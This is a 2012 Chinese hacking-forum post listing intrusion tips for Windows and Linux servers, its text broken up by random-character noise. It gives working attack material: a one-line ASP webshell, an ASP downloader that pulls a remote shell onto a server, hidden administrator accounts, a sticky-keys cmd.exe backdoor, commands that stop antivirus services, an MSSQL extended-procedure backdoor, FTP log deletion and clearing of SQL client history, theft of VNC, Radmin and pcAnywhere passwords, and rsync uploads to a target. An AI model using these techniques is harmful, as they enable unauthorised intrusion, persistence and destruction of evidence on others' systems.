中国网络渗透测试联盟

标题: 渗透技巧总结 [打印本页]

---

作者: admin    时间: 2012-9-5 15:00
标题: 渗透技巧总结
旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
( l( y% [4 O; @2 [5 u* P3 D, T        
; R/ `1 f% Y; q' H7 N
5 j; m( F' W" R' CMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

! U' m9 B# E0 XUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
& W# l/ Z) `4 ^: [
8 t0 j* U3 [0 P; R+ d$ z5 t) f("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
- _% w: b4 e0 V/ R$ O        If IsNumeric(obj3w.Name)
2 B! c6 D/ ?$ x) ?
  W: D6 p0 h( O# f9 t5 @3 zThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
% W, f3 |$ h3 @% a- z         

3 [  K" M) ?+ l. {( Q8 l; Q       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
2 A9 S# j: [0 q
6 L  K0 J4 G; n6 C8 ^- g: i<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
3 x3 d/ Z6 n* q2 R+ o: V) t4 x
/ ?; s3 ]6 c8 M( x) F6 d/ TOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
. {4 i& j, E2 p, D! R+ z' E" c     

( S0 i% I& B5 _! e0 b                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
: Z: o# G' u* K# ?: J$ C
$ `' c' G5 L0 Q' W3 |+ o7 DWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
) q5 T- c9 |1 l* B1 v, Z) T; P3 _                Next
* V) ~  W" q" N6 O/ S; L      

$ ?, U, I0 j2 @: S' d+ E" D8 W         WScript.Echo "ath            : " & VDirObj.Path
& S' h1 T. q. n1 V/ \        End If
Next
复制代码
8 e7 t1 {( p, Q7 Y3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4 ]! _' Y5 M: J) B$ V( ^% k4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
  {( j' A( C3 {' z6 ~—————————————————————
8 m0 H- i2 A& v( K1 y8 Y- EWordPress的平台，爆绝对路径的方法是：
8 Z) B9 ^+ x3 z) j$ v$ T4 gurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
" ?: u: B1 l$ f% M. G* O3 z% V——————————————————————
2 G( f2 v: W$ _2 k7 t6 WphpMyAdmin暴路径办法:
" p2 d% y* p+ D# }, bphpMyAdmin/libraries/select_lang.lib.php
/ L1 [  |0 n: E& J2 ^phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
% y2 z, v5 z7 c% [8 m# Pphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
4 d5 J% T1 l, n5 e3 ]9 x3 i1 A" g网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
- u; ]0 F, J) K9 q5 T) {8 F————————————————————
6 a9 h+ Y3 b7 q6 D9 l# d4 n% t8 G' lCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
" K2 @8 W1 k) t: q4 v5 ?& Unetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
2 [% C9 r0 |3 H5 T9 p* E$ [" ynetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
' Q+ m3 ~- B6 x" e. {netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
' D& Z- d  r% i! g需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
$ G- ^2 h: m8 s8 x* j5 u然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
/ z$ ?* g, C2 D8 T9 f在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
5 z% U2 W4 p. q2 Y2 y0 lz.changePassword("123456","")
! r* G" g9 w# Y% Zz.setting("AccountType")=3;

" ?' f) l# C4 ~" k8 [, cvbs:
' e* L9 v) h) Q7 `9 `1 c$ NSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
5 [" c2 I9 |' _6 A0 J9 Z, ~z.setting("AccountType")=3
- l9 h2 v5 S6 K+ U5 f8 S! C) \——————————————————
0 H  H( {  {8 fcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
' g% `) ~7 Y) _( B. i4 I/ r" O5 w3 @: ocacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
* {- Z* n, K; w3 H5 O* Lb、内网环境（LCX）
c、终端服务器超出了最大允许连接
3 l3 _; J/ i9 |1 R, UXP 运行mstsc /admin
2003 运行mstsc /console   
, t* ^6 S' \: c" Q
  i0 s' [' u6 Q; \杀软关闭（把杀软所在的文件的所有权限去掉）
1 }5 @3 K9 A, _5 p! w0 \处理变态诺顿企业版：
  }7 z1 {7 `4 p( K4 i5 C( I0 N0 anet stop "Symantec AntiVirus" /y
4 Y% q& ?: z( C) o, ?net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
0 q* U5 h3 m) U& Dnet stop "System Event Notification" /y
$ D( N* Z7 M0 w* n2 z! e) V& Knet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
" Y. K' K- U. q+ j0 H# r  M————————————————————

8 |7 t5 {6 B; k5次SHIFT：
/ C! M& Y! ]$ [4 o& Hcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
# A, h& O/ w) X/ ^9 v. Q2、导出注册表SAM下用户的两个键值
( y# P+ _; @* y7 v/ V* s* E3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
+ \1 D9 C" N0 p' }/ w——————————————————————
MSSQL扩展后门：
USE master;
6 [, b; p4 ?( \7 R$ dEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
- |- f. O( i4 A' s/ ~GRANT exec On xp_helpsystem TO public;
———————————————————————
- o. L8 b, l8 k$ X" G* l) V9 q日志处理
' S% N6 }0 ^# k7 w0 x, mC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
, e- R1 W/ q  b$ s, ~$ L( |ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
. k; ~2 ^+ e1 A7 y不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

# a% B$ f1 s1 H0 U/ YMSSQL查询分析器连接记录清除：
( B$ `9 r  H& Q! R' R; nMSSQL 2000位于注册表如下：
. K7 m9 [8 O0 ~HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
; l) }; w8 @( G
: D% Y& v0 E: V2 I. B0 W& p<%
2 w3 g1 |' ]$ p3 N' n/ TSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
; g3 r% y) c/ ^& S/ MOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
) H# Y  O2 Z5 V& H, f. c8 Q.Open "Get", s_RemoteFileUrl, False, "", ""
- K# @$ p, F- D& \/ Q& |3 {* I% z.Send
GetRemoteData = .ResponseBody
6 ]. J; j2 s7 }End With
Set Retrieval = Nothing
* z1 R8 r* A- I: I- iSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
! a) Y; Y# J8 N" Y& C) X1 |. L.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
  \  |2 I: p- l6 @; |.Close()
2 ^) R7 `- s# w9 `End With
8 t6 D( d% j, n: j' k. fSet Ads=nothing
/ f2 `: h0 ^1 T4 D/ LEnd Sub
7 h3 w. V5 x" Y2 C  i
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
2 e0 V2 r3 O$ ?+ ]7 k; S$ \# G利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
* p3 U& [. P# c( `5 P+ Y注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
+ l2 _" \+ Q" o! w7 S3 P1 jregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
8 y* ^' T4 g" z9 `% F9 ~' mregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
4 D3 W* y! H  k2 pHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
$ P$ q. `* O5 `) N8 ]( e然后用HASH版连接。
) W' B$ ?6 S. I  d% \如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
: l; ?' E9 K$ d- t$ W  W: T保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
0 F- _; R0 ^7 c* S. l5 y搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
/ V" g1 E; j: ]2 w: ^- z来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
" r! z- m! g/ P/ R% K没有删cmd组建的直接加用户。
! k' u5 a1 B$ N0 K3 U7i24的web目录也是可写，权限为administrator。

4 S; r# m9 T9 _: G0 e& v+ q3 Y0 W) J1433 SA点构建注入点。
. n7 i4 ?6 n& d* p! x- Z- ~& u<%
3 z/ X3 r) @/ J: N: a/ b% F! ~strSQLServerName = "服务器ip"
/ i8 J4 o4 k7 o* ^$ P. ostrSQLDBUserName = "数据库帐号"
, y  a, X0 G) L( }2 }/ U5 u1 nstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
/ A# @" F3 U% c3 U0 ~3 F) o3 n
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
, U. [, m+ ?1 t+ y" Z- U; \4 o
strSQLDBName & ";"
2 D$ }& s" |) _  g3 s+ `, Hconn.open strCon
dim rs,strSQL,id
1 w9 Q# X" `0 {, x1 ~4 Yset rs=server.createobject("ADODB.recordset")
2 v' ~6 B& N  S3 c  [id = request("id")
. S# h" q: y. UstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
- ^1 q+ n+ K+ ~8 i  P$ {%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1 u2 X) Z1 k) s3 \3 L: w( e( P1.cat /etc/nsswitch
  G' L; U! Y. J  e* z看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
7 T* F6 [, }- s( xbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
$ K3 g$ p/ |; O: z
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

, `) y  U% J$ H- \* C"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
+ X# D; W% P$ h0 `% L" y( I' N% H
/ g, C! N: [/ u" O"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# o5 b! m& ]; x! J# P' v, }4 c

4.查找10条用户记录
/ `2 p# b" \: {- Fldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

) a+ l. \, U5 ?: [; ~实战:
1.cat /etc/nsswitch
; |+ E3 J$ ]1 p1 _0 |看看密码登录策略我们可以看到使用了file ldap模式
* M7 H7 K$ G3 R; T5 @& o
  S+ p7 }, b7 \' B2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
! k( }( A& b9 O找到ou,dc,dc设置
' i3 ^( k4 ~9 l6 \4 Z0 O1 j
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

. F* X% k4 [6 g4 {7 N"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 |5 r7 R; R3 f* B  ~+ n有密码形式
; N/ _6 _/ ~& R& r/ zldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
) t1 i# {2 q( ]  c% K5 H& d" T
$ ^$ D6 k' |) Y7 w"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
1 S% D: X" X1 c: G9 ]) O
3 _9 k3 d9 H# S( k* j* x# m
5 u) A! h) s6 t8 w5 d6 B: y% M4.查找10条用户记录
) e9 F% H2 D3 k5 K% G1 Xldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

: E4 _0 I: c7 Q# G1 Q渗透实战:
1.返回所有的属性
& g7 |# S) c& Y2 w7 Lldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
0 m/ @' f+ t0 A+ d0 r# S" ?- T) \version: 1
0 L2 c3 k" V! U* T$ r. Qdn: dc=ruc,dc=edu,dc=cn
dc: ruc
1 x( C# q; ?! `: W3 p) \! X5 [objectClass: domain

$ |3 Z  h. V  _; ]dn: uid=manager,dc=ruc,dc=edu,dc=cn
' l0 x9 G. R4 X* Kuid: manager
objectClass: inetOrgPerson
6 f, L$ [2 p  xobjectClass: organizationalPerson
# k- S4 U" j8 ]4 vobjectClass: person
/ p% i1 C! a- P. M+ w- cobjectClass: top
/ z' m0 [2 v! x6 E9 y* B8 X+ E, e( tsn: manager
9 \) T% e" y6 d& \2 Qcn: manager

' x* P9 k6 S8 {( ^1 [2 U' q, pdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
% G  O& }2 K, h! r3 H- eobjectClass: organizationalPerson
objectClass: person
$ @& v0 t0 `$ n) h+ YobjectClass: top
. X% U6 U! w  p' _# p! s. s% }sn: superadmin
5 _0 w5 w3 Y, hcn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
+ V+ K: h- U* P5 {; n3 |uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
' E/ }) L6 }* {4 ~& Q  T" \( `1 OobjectClass: person
7 `; T  I6 ~# ?6 i  q3 dobjectClass: top
9 t# e2 I, U# t4 t4 _, t8 Qsn: admin
cn: admin
2 t" {2 P& h4 G# }2 H/ B" f9 `
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
# q2 [6 Z& d6 R6 S7 h5 qobjectClass: person
! z) e3 A+ b4 o( s" A) HobjectClass: organizationalPerson
& i, e& B# i, p9 J. I( q/ S/ GobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
( x/ `7 C1 S' E7 ?! w
# E* p4 b' L; R7 ~- L- t! w. L2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
# M% O: Q; |9 D) v7 t
more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
0 y5 b; z1 H' y3 ]& |5 R5 N
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
' U& [" r: _2 E: Q, ^supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
4 b+ q$ @: h' v- j/ ?supportedExtension: 1.3.6.1.4.1.4203.1.11.1
$ g6 c) D1 O# |/ ?* qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
  d' L9 ?) `0 b) b3 k& @* {supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
; N: I* Q! ?* g6 \1 z3 f- G! H7 ]' jsupportedExtension: 2.16.840.1.113730.3.5.4
/ e6 Z) U& C0 \. g  R) V1 TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
. S8 S5 e4 I+ U5 T4 t& o3 Z2 P; xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
/ E/ e8 A  }* GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
* U" q- S8 ]( j0 g4 S+ hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
% l( M, }  C3 I) j) B. ?  b- AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
0 l: @6 `9 c) P) ]& p1 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
. _: w) J; v, J' }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
+ t- `* P& w( B6 J) g* |  {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
1 f/ _2 T& ]% _2 {+ k* Z0 f* dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
7 l* ?% U4 A9 l% V$ \$ w1 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
- o0 L' i9 K$ V" ?2 LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
  Z- j/ U# J) Z8 s! RsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
: \/ M) |: U9 \: }supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
2 a0 _% q* L  a$ b! g0 HsupportedControl: 2.16.840.1.113730.3.4.5
" D( G2 w, j5 i6 AsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
" J6 ^& A$ L: `/ X( n$ K0 t- i5 HsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
: j# ]$ {4 C& x! @( q, k% WsupportedControl: 2.16.840.1.113730.3.4.17
' I) o/ A; _/ x  {8 ]# [6 n, EsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
; V! Q# u# Z8 rsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
! R  p" Z. S9 F0 b; d# ~1 B: asupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
% D6 f4 Q5 |8 {  zsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
1 ^  A3 b9 q3 j- JsupportedControl: 2.16.840.1.113730.3.4.14
' Q" i+ H* G4 `1 f7 E7 [supportedControl: 1.3.6.1.4.1.1466.29539.12
9 v; s  L, }, V/ dsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
8 F+ [0 [$ L  }supportedSASLMechanisms: EXTERNAL
. ~/ K( U0 P3 ^% |supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
" G$ D6 [( c/ p! ]2 w& Y9 s' NvendorName: Sun Microsystems, Inc.
* w' i7 r" O; M) i+ j2 b$ L8 dvendorVersion: Sun-Java(tm)-System-Directory/6.2
: b0 N% o* |& G6 R' [. }' }0 vdataversion: 020090516011411
5 V; h$ o0 t, ~; m, gnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
  b& I7 o' R& x  _/ M: I, EsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
6 I1 c, p" V6 t( H9 ~supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
' w4 `/ J# ]! x) j. I2 zsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
' E' u% f" e% i+ K* ^4 O8 A3 LsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
. o: v, _+ q( y/ j5 N) asupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
! {3 C% v  c5 k( O4 m4 ysupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
. ~! C$ Q. E" H( V, i; r( m! ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
9 F$ F& `( K6 [* T: X$ B" hsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
: |% ?; u+ _( I7 jsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
" e. I8 o, M% z- i8 J4 [5 psupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
" g% a/ ?9 m- O* g: c% \/ MsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
" J! B6 r5 H0 n) A+ IsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
* e5 z, P6 V) P; w0 }* _' \supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
0 `2 W2 F4 Q% C1 p: K- U( p& FsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
" F/ u1 z  L% s. S! G1 MsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
4 @" S% O- w: j2 d$ @supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
4 C4 Y9 k; K' [supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
' }: W# q2 ?9 fsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
8 i5 ?) W0 f) U  Y) BsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
; w+ s4 k; F* |6 n; usupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
# |) s( `! \* {2. NFS渗透技巧
1 r3 S( e2 T4 s9 _1 Gshowmount -e ip
列举IP
3 R# E( r+ @' n3 n4 F7 [# Z——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
7 A" K$ g7 |0 Xfinance
  _) I! i" B8 ]7 simg_finance
+ @4 k9 L1 }, Z8 n* Qauto
8 `3 Q8 s" b& C8 X/ [# Limg_auto
# M8 S  v9 Y/ c% V8 ahtml_cms
img_cms
  h; A- e" o2 h; W7 P1 m5 Oent_cms
ent_img
+ H8 f  ?7 ?( ]& E) E( O, hceshi
res_img
res_img_c2
$ S1 u1 k% |. A6 q0 G: Mchip
6 B2 a- |  P0 nchip_c2
1 I6 l1 H# ?" i" ~9 Gent_icms
games
" E$ E- m. V* m7 g) bgamesimg
0 O' A; y, B8 b+ ~0 O  W3 Mmedia
mediaimg
1 e& H6 F  E+ A& g, C% b$ }fashion
res-fashion
res-fo
+ y3 ~2 z# Q% q' o2 itaobao-home
res-taobao-home
! w! q# J+ @- W: v" mhouse
+ W/ x, k, ~' C  Q5 @res-house
2 X( v- v+ ~: J) `res-home
5 C+ F: ?& I" `% g& V) @! yres-edu
res-ent
/ r. p% V- U" y: ^# o! g1 o& |res-labs
res-news
( a8 k$ Q. Y0 {$ F$ |* k+ Lres-phtv
$ ?+ x5 h2 |) O$ x: Vres-media
. L: q" x9 W& x: }( Z6 s9 ]" r7 fhome
edu
& u6 u& G, g+ E1 b) E0 I/ Fnews
2 v* F" n8 }! f4 e- p  wres-book
% f. {7 H0 s* A. q
看相应的下级目录(注意一定要在目录后面添加上/)

+ n, A+ ]9 Y1 y" T+ m6 I% W7 v
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
, e: E# W! S0 n) e8 A+ w
; x* _% f) ?& G( b8 X2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

4 a* R  O! _9 ~! X: G3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
# U" U/ W: x& e" C& w2 C& H- phttp://app.finance.xxx.com/warn/nothack.txt

+ g5 Y8 x8 k5 B3 A0 f0 n' E四.squid渗透技巧
3 n3 u, U% t" l* ^nc -vv baidu.com 80
. b1 ]+ Q0 I. d" d" A1 V$ q3 F( fGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
( b! d& G# Q" ?, y9 j  H3 N# B  x4 F五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
, P/ V% P0 ?9 x
六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
2 W6 c% v6 t! Y; ~
15&catid=32:languages&Itemid=47
$ l- d- X# v- I* B0 H. l
4 h  P' T2 e  O8 b& N- F重新设置密码
index.php?option=com_user&view=reset&layout=confirm

